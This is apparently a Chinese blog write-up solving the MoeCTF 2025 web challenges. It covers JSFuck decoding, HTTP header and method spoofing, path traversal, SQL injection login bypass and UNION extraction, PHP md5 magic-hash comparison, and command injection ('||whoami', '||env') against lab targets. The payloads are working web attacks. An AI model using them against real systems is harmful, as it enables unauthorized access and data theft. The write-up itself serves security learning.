Skip to content

Moectf 2025 Web

Justki
Published date:
Edit this post

好玩,真好玩!

00. Web入门指北

[!NOTE]

JSFuck 编码

JSFuck 是一种基于 JavaScript 的编程风格,它使用六个字符 {}, [], +, ! 来编写和执行代码。这种编码方式不依赖于浏览器,因此可以在 Node.js 上运行。JSFuck 的原理是利用 JavaScript 中的类型转换和对象属性访问机制来构造任何 JavaScript 代码。

JSFuck 编码的基础原理

JSFuck 利用 JavaScript 的弱类型和类型转换规则,通过一系列的逻辑运算和函数调用来表示 JavaScript 中的基本值和对象。

例如,false 可以通过 ![] 表示,因为非运算符会将空数组的布尔值取反。

类似地,true 可以通过 !![] 表示,undefined 通过 [][[]] 表示,NaN 通过 + [![]] 表示,数字 0 通过 +[] 表示,数字 1 通过 +!+[] 表示。

JSFuck 编码的应用

JSFuck 可以用来混淆代码,使其难以阅读和理解。这种编码方式常用于防止代码被屏蔽或是作为一种编程挑战。例如,alert(1) 可以被编码为一长串只包含 {}, [], +, ! 的代码,执行结果仍然是弹出一个包含数字 1 的警告框。

JSFuck 解码方法

解码 JSFuck 编码的代码通常有两种方法:

  1. 使用浏览器的控制台直接执行 JSFuck 编码的代码,浏览器会自动解释执行并返回结果。

  2. 使用在线工具进行解码,将 JSFuck 编码的代码转换回原始的 JavaScript 代码。

打开附件moectf2025_web_signin.txt,其实要干什么也很明显了:把代码复制到控制台里面。

得到:

moectf{jv@vScr1p7_14_so0o0o0o_inT3r3&t!!!}

01. 神秘的手镯

这些都属于 前端校验(Client-side validation)

[!CAUTION]

前端限制 ≠ 后端限制( 前端是可以完全绕过的)

可以:

moectf{f_i2_1s_Your_g00d_fri3nd!!}

02. 初识金曦玄轨

进入关卡,抓包,查看响应,有这么一个提醒:

前往/golden_trail看看

修改请求行:GET /golden_trail HTTP/1.1

查看响应:

HTTP/1.0 200 OK
Content-Type: text/plain; charset=utf-8
Content-Length: 79
X-Jinxi-Secret: moectf{0bs3rv3_Th3_Gold3n_traiL}
Server: Werkzeug/2.0.1 Python/3.9.23
Date: Mon, 06 Apr 2026 06:14:56 GMT


========================
路径不正,难窥天道
========================
moectf{0bs3rv3_Th3_Gold3n_traiL}

03. 问剑石!篡天改命!

点击”测试天赋“,抓包:

按照要求修改请求 修改玄轨中的关键参数,使问剑石显现天赋:S,光芒:流云状青芒(flowing_azure_clouds)的异象

POST /test_talent?level=S HTTP/1.1    修改这里
Host: localhost:21870
Content-Length: 24
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Not.A/Brand";v="99", "Chromium";v="136"
Content-Type: application/json
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: */*
Origin: http://localhost:21870
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:21870/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

{"manifestation":"flowing_azure_clouds"}   还有这里

查看响应:

HTTP/1.0 200 OK
Content-Type: application/json
Content-Length: 203
Server: Werkzeug/2.0.1 Python/3.9.23
Date: Mon, 06 Apr 2026 04:49:34 GMT

{"flag":"moectf{GeT_POst-Tran5m1s51ON_IS_4-G0oD-MethoD1!11bd}","result":"\u5929\u8d4b\uff1aS\uff0c\u5149\u8292\uff1a\u6d41\u4e91\u72b6\u9752\u8292","status":"\u5929\u9053\u7be1\u6539\u6210\u529f\uff01"}
moectf{GeT_POst-Tran5m1s51ON_IS_4-G0oD-MethoD1!11bd}

04. 金曦破禁与七绝傀儡阵

嗯,这个解释我很喜欢:

GET 请求

GET /stone_golem?key=xdsec HTTP/1.1   # 请求路径,请求 stone_golem 接口,并传入参数 key=xdsec

获得玉简碎片: bW9lY3Rme0Mw

POST 请求

POST /cloud_weaver HTTP/1.1   
Content-Type: application/x-www-form-urlencoded   # 表示提交的数据是表单格式
Content-Length: 0   # 请求体长度(这里简写0其实不太合理,但是无所谓)
declaration=织云阁=第一   # POST 请求体内容(参数 declaration)

获得玉简碎片: bjZyNDd1MTQ3

X-Forwarded-For 伪造 IP

X-Forwarded-For: 127.0.0.1   # 伪造客户端IP为本地(常用于绕过IP限制/白名单

获得玉简碎片: MTBuNV95MHVy

User-Agent 伪造

User-Agent: moe browser   # 修改客户端标识(浏览器/工具类型)

获得玉简碎片: X2g3N1BfbDN2

Cookie 伪造

Cookie: user=xt   # 携带 Cookie,伪造用户身份(user=xt)

获得玉简碎片: M2xfMTVfcjM0

Referer 伪造

Referer: http://panshi/entry   # 表示请求来源页面(从哪里跳转过来)

注意,前面的UA和Cookie也还要哦。

获得玉简碎片: bGx5X2gxOWgh

PUT 请求

PUT /void_rebirth HTTP/1.1     # 使用 PUT 方法请求 /void_rebirth 接口(常见于 REST API)
Host: localhost:30324          # 目标主机和端口
Content-Type: text/plain       # 请求体是纯文本格式
Content-Length: 9              # 请求体长度(字节数)

新生!                          # 请求体内容(实际提交的数据)

获得玉简碎片: fQ==

Base64解码

bW9lY3Rme0MwbjZyNDd1MTQ3MTBuNV95MHVyX2g3N1BfbDN2M2xfMTVfcjM0bGx5X2gxOWghfQ==

把碎片拼接,然后进行Base64解码(通过‘==’,就基本可以判断是Base64编码了):

moectf{C0n6r47u14710n5_y0ur_h77P_l3v3l_15_r34lly_h19h!}

05. 打上门来!

[!IMPORTANT]

目录穿越(Path Traversal)

../ 表示:返回上一级目录

../../ 表示:一直往上跳目录(逃离当前目录限制)

CTF中,flag为常见的访问目标文件。

../../flag

moectf{@1I-InpuT_IS-m@liCIOus10a0d897}

06. 藏经禁制?玄机初探!

SQL注入的经典语句:

' or '1'='1'--+   不行
' or '1'='1'-- -   可以(说明 + 没有被解析成 空格。)
' or '1'='1'#   可以

moectf{W3IcoME-TO-sQ1-INJ3ctlONl!8f665ef}

07. 灵蛛探穴与阴阳双生符

[!IMPORTANT]

robots.txt

一个放在网站根目录下的纯文本文件,用于告诉搜索引擎爬虫(如 Google、Bing):

  • 哪些页面允许抓取
  • 哪些页面禁止抓取

📂 访问方式

一般直接访问:

http://example.com/robots.txt

📄 示例内容

User-agent: *
Disallow: /admin/
Disallow: /backup/
Allow: /public/

👉 含义:

  • User-agent: * → 所有爬虫
  • Disallow → 不允许访问
  • Allow → 允许访问
GET /robots.txt HTTP/1.1   #请求行

响应:
User-agent: *       
Disallow: /flag.php
GET /flag.php HTTP/1.1   #请求行

响应:
<?php
highlight_file(__FILE__);
$flag = getenv('FLAG');

$a = $_GET["a"] ?? "";
$b = $_GET["b"] ?? "";

if($a == $b){
    die("error 1");
}

if(md5($a) != md5($b)){
    die("error 2");
}

echo $flag; error 1

通过分析可得,我们要传入两个参数 ab,要求值不相同,但是在弱比较下 md5值要相同。这里就是利用了弱比较 ==,如果是 强比较===就行不通了。

[!IMPORTANT]

md5

这里给出一些例子

QNKCDZO --> 0e830400451993494058024219903391

s878926199a --> 0e545993274517709034328855841020

s155964671a --> 0e342768416822451524974117254469

s214587387a --> 0e848240448830537924465865611904

s1091221200a --> 0e940624217856561557816327384675

s1885207154a --> 0e509367213418206700842008763514

构造:

http://localhost:25816/flag.php?a=QNKCDZO&b=s878926199a

页面:

<?php
highlight_file(__FILE__);
$flag = getenv('FLAG');

$a = $_GET["a"] ?? "";
$b = $_GET["b"] ?? "";

if($a == $b){
    die("error 1");
}

if(md5($a) != md5($b)){
    die("error 2");
}

echo $flag; moectf{MdS_15-nOT_SAfe!!1d5dd7adf92}
moectf{MdS_15-nOT_SAfe!!1d5dd7adf92}

08. 天衍真言,星图显圣

[!NOTE]

联合查询

经过尝试,发现列数为 2 的时候不报错。

admin' union select 1,2#
//回显admin,那么就是存在这么一个用户,但是,为了后面查询的数据能后回显,要换成不存在的用户,那就换成 1 吧

1' UNION SELECT 2,3 #
// 回显 Welcome 2

1' union select table_name,3 from information_schema.tables where table_schema=database() #
// 回显 Welcome flag

1' union select column_name,3 from information_schema.columns where table_name='flag' #
// 回显 Welcome value

1' union select value,3 from flag #
// 回显 Welcome moectf{uN1on-b4SED_sQ1I_FtWll193f01a42}

09. 星墟禁制·天机问路

看到这里,我首先想到的是之前在DVWA里面做的题目。

所以就先尝试能不能执行命令:

127.0.0.1||whoami  

发现回显 root,说明可以执行

[!TIP]

env 命令

查看当前进程的所有环境变量(系统配置 + 用户信息 + 可能的敏感数据

env 是“程序运行时带的配置”,开发者可能把敏感信息放进去;在安全场景中主要用来获取用户信息路径信息以及可能泄露的敏感数据(如 flag、密码等)

127.0.0.1||env

[!TIP]

命令执行

;不管前面成不成功,都执行后面

||只有前面失败,才执行后面

当然,不一定要 127.0.0.1,就算 1也可以; ||也可以换成 ;

KUBERNETES_SERVICE_PORT=443
KUBERNETES_PORT=tcp://10.43.0.1:443
HOSTNAME=ret2shell-912-17178-1775464994
PHP_INI_DIR=/usr/local/etc/php
SHLVL=2
HOME=/root
PHP_LDFLAGS=-Wl,-O1 -pie
PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_VERSION=8.2.29
GPG_KEYS=39B641343D8C104B2B146DC3F9C39DC0B9698544 E60913E4DF209907D8E30D96659A97C9CF2A795A 1198C0117593497A5EC5C199286AF1F9897469DC
PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_ASC_URL=https://www.php.net/distributions/php-8.2.29.tar.xz.asc
PHP_URL=https://www.php.net/distributions/php-8.2.29.tar.xz
KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443
PHPIZE_DEPS=autoconf 		dpkg-dev dpkg 		file 		g++ 		gcc 		libc-dev 		make 		pkgconf 		re2c
KUBERNETES_SERVICE_HOST=10.43.0.1
PWD=/app
PHP_SHA256=475f991afd2d5b901fb410be407d929bc00c46285d3f439a02c59e8b6fe3589c
FLAG=moectf{db771482-84c0-2d76-fa7f-f5c2657ee878}

发现:

moectf{db771482-84c0-2d76-fa7f-f5c2657ee878}
Previous
记一次使用DeepAudit
Next
From 0 to 1